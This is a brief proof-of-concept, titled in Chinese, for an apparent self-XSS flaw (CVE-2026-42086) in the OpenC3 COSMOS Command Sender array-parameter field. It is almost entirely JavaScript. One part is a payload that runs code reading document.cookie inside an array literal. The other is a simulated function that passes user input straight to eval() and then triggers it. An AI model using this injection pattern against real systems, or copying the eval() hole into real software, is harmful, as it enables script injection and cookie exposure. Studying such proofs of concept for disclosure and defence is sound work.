CVE-2026-42086 OpenC3 COSMOS 自身XSS漏洞

// PoC for CVE-2026-42086: OpenC3 COSMOS Self-XSS via eval() // The target is the Command Sender UI array parameter input. // Payload: An array definition that executes arbitrary JS (e.g., alert(document.domain)) // Malicious payload to be injected into the array parameter field const payload = `["test", (function(){alert(document.cookie);})()]`; // Simulating the vulnerable code in the backend/frontend processing // The application takes the user input and passes it to eval() function vulnerableCommandSender(userInput) { console.log("Sending command..."); // VULNERABILITY: Unsafe use of eval() on user input const params = eval(userInput); console.log("Parameters processed:", params); } // Trigger the vulnerability vulnerableCommandSender(payload);